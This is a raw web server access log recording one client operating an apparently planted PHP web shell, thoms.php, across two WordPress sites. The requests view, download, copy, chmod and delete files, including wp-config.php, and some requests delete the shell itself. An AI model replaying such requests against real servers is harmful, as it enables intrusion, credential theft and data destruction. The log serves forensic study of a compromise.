45.135.193.11 - - [11/Sep/2026:22:38:36 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13031 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=wp-comments-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p=broadweb.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:36 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=broadweb.com.tw HTTP/1.1" 200 17374 "http://163.245.207.76:443/thoms.php?dl=wp-comments-post.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:37 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-cron.php HTTP/1.1" 200 14175 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=wp-cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:37 -0400] "GET /thoms.php?dl=wp-cron.php&p=broadweb.com.tw HTTP/1.1" 200 17373 "http://163.245.207.76:443/thoms.php?dl=wp-cron.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:37 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=broadweb.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?chmod=wp-links-opml.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:37 -0400] "GET /thoms.php?p=broadweb.com.tw%2F.well-known HTTP/1.1" 200 12584 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:37 -0400] "GET /thoms.php?chmod=wp-admin&p=broadweb.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=wp-admin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:37 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 200 13427 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:37 -0400] "GET /thoms.php?chmod=wp-cron.php&p=broadweb.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=wp-cron.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p=broadweb.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p=broadweb.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:37 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p= HTTP/1.1" 200 11805 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:37 -0400] "GET /broadweb.com.tw/readme.html HTTP/1.1" 200 2990 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:37 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-login.php HTTP/1.1" 200 29029 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:38 -0400] "GET /thoms.php?del=bridge-sample&p=broadweb.com.tw HTTP/1.1" 200 17374 "http://163.245.207.76:443/thoms.php?del=bridge-sample&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:38 -0400] "GET /thoms.php?del=locoy.php&p=broadweb.com.tw HTTP/1.1" 200 17375 "http://163.245.207.76:443/thoms.php?del=locoy.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:38 -0400] "GET /thoms.php?dl=readme.html&p=broadweb.com.tw HTTP/1.1" 200 17376 "http://163.245.207.76:443/thoms.php?dl=readme.html&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:38 -0400] "GET /thoms.php?chmod=thoms.php&p=broadweb.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?chmod=thoms.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p=broadweb.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:38 -0400] "GET /broadweb.com.tw/wp-trackback.php HTTP/1.1" 404 157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:38 -0400] "GET /thoms.php?dl=wp-load.php&p=broadweb.com.tw HTTP/1.1" 200 17379 "http://163.245.207.76:443/thoms.php?dl=wp-load.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:38 -0400] "GET /broadweb.com.tw/wp-admin/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:38 -0400] "GET /thoms.php?del=cgi-bin&p=broadweb.com.tw HTTP/1.1" 200 17380 "http://163.245.207.76:443/thoms.php?del=cgi-bin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:38 -0400] "GET /thoms.php?dl=index.php&p=broadweb.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?dl=index.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flocoy.php&p=broadweb.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flocoy.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:38 -0400] "GET /thoms.php?del=mah.php&p=broadweb.com.tw HTTP/1.1" 200 17379 "http://163.245.207.76:443/thoms.php?del=mah.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fthoms.php&p=broadweb.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fthoms.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p=broadweb.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:39 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13309 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=wp-config-sample.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:39 -0400] "GET /thoms.php?chmod=wp-includes&p=broadweb.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=wp-includes&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:39 -0400] "GET /thoms.php?del=error_log&p=broadweb.com.tw HTTP/1.1" 200 17369 "http://163.245.207.76:443/thoms.php?del=error_log&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:39 -0400] "GET /thoms.php?del=readme.html&p=broadweb.com.tw HTTP/1.1" 200 17378 "http://163.245.207.76:443/thoms.php?del=readme.html&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:39 -0400] "GET /thoms.php?del=wp-config-sample.php&p=broadweb.com.tw HTTP/1.1" 200 17379 "http://163.245.207.76:443/thoms.php?del=wp-config-sample.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:39 -0400] "GET /broadweb.com.tw/wp-config.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:39 -0400] "GET /broadweb.com.tw/wp-links-opml.php HTTP/1.1" 200 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:39 -0400] "GET /broadweb.com.tw/.well-known/ HTTP/1.1" 200 781 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:39 -0400] "GET /broadweb.com.tw/wp-login.php HTTP/1.1" 404 14733 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:39 -0400] "GET /broadweb.com.tw/wp-content/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:39 -0400] "GET /thoms.php?dl=wp-settings.php&p=broadweb.com.tw HTTP/1.1" 200 17374 "http://163.245.207.76:443/thoms.php?dl=wp-settings.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p= HTTP/1.1" 200 11781 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Findex.php&p=broadweb.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Findex.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:40 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=broadweb.com.tw HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?chmod=wp-config-sample.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:40 -0400] "GET /thoms.php?chmod=wp-settings.php&p=broadweb.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-settings.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:39 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 200 59261 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:40 -0400] "GET /thoms.php?del=wp-trackback.php&p=broadweb.com.tw HTTP/1.1" 200 17375 "http://163.245.207.76:443/thoms.php?del=wp-trackback.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:40 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-admin&p= HTTP/1.1" 200 11807 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fwp-admin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:40 -0400] "GET /thoms.php?chmod=error_log&p=besth2o.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:40 -0400] "GET /besth2o.com.tw/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:40 -0400] "GET /besth2o.com.tw/wp-comments-post.php HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:40 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Findex.php&p=besth2o.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Findex.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:40 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-cron.php HTTP/1.1" 200 14186 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=wp-cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:40 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=besth2o.com.tw HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?chmod=wp-trackback.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:40 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 200 28814 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:40 -0400] "GET /thoms.php?p=besth2o.com.tw&view=mah.php HTTP/1.1" 200 11818 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:40 -0400] "GET /thoms.php?p=besth2o.com.tw&view=readme.html HTTP/1.1" 200 15234 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=readme.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:40 -0400] "GET /thoms.php?chmod=thoms.php&p=besth2o.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?chmod=thoms.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:41 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-activate.php HTTP/1.1" 200 14828 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:41 -0400] "GET /thoms.php?chmod=wp-settings.php&p=besth2o.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?chmod=wp-settings.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:41 -0400] "GET /thoms.php?del=wp-settings.php&p=besth2o.com.tw HTTP/1.1" 200 17377 "http://163.245.207.76:443/thoms.php?del=wp-settings.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:41 -0400] "GET /thoms.php?del=wrapper-global&p=besth2o.com.tw HTTP/1.1" 200 17375 "http://163.245.207.76:443/thoms.php?del=wrapper-global&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:41 -0400] "GET /thoms.php?chmod=mah.php&p=besth2o.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=mah.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:41 -0400] "GET /thoms.php?dl=wp-activate.php&p=besth2o.com.tw HTTP/1.1" 200 17374 "http://163.245.207.76:443/thoms.php?dl=wp-activate.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:41 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12039 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:41 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=besth2o.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?chmod=wp-comments-post.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:41 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=besth2o.com.tw HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?chmod=wp-config-sample.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:41 -0400] "GET /besth2o.com.tw/wp-links-opml.php HTTP/1.1" 200 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:41 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwrapper-global&p= HTTP/1.1" 200 11820 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fwrapper-global&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:41 -0400] "GET /thoms.php?del=cgi-bin&p=besth2o.com.tw HTTP/1.1" 200 17280 "http://163.245.207.76:443/thoms.php?del=cgi-bin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:41 -0400] "GET /thoms.php?chmod=wp-admin&p=besth2o.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=wp-admin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:41 -0400] "GET /thoms.php?del=thoms.php&p=besth2o.com.tw HTTP/1.1" 200 17378 "http://163.245.207.76:443/thoms.php?del=thoms.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:42 -0400] "GET /thoms.php?chmod=wp-cron.php&p=besth2o.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=wp-cron.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:42 -0400] "GET /thoms.php?dl=wp-mail.php&p=besth2o.com.tw HTTP/1.1" 200 17377 "http://163.245.207.76:443/thoms.php?dl=wp-mail.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:42 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-settings.php&p=besth2o.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fwp-settings.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:42 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=besth2o.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?chmod=xmlrpc.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:42 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fupgrade HTTP/1.1" 200 14168 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:42 -0400] "GET /besth2o.com.tw/cgi-bin/ HTTP/1.1" 200 691 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:42 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-content&p= HTTP/1.1" 200 11803 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fwp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:42 -0400] "GET /thoms.php?dl=license.txt&p=besth2o.com.tw HTTP/1.1" 200 17377 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
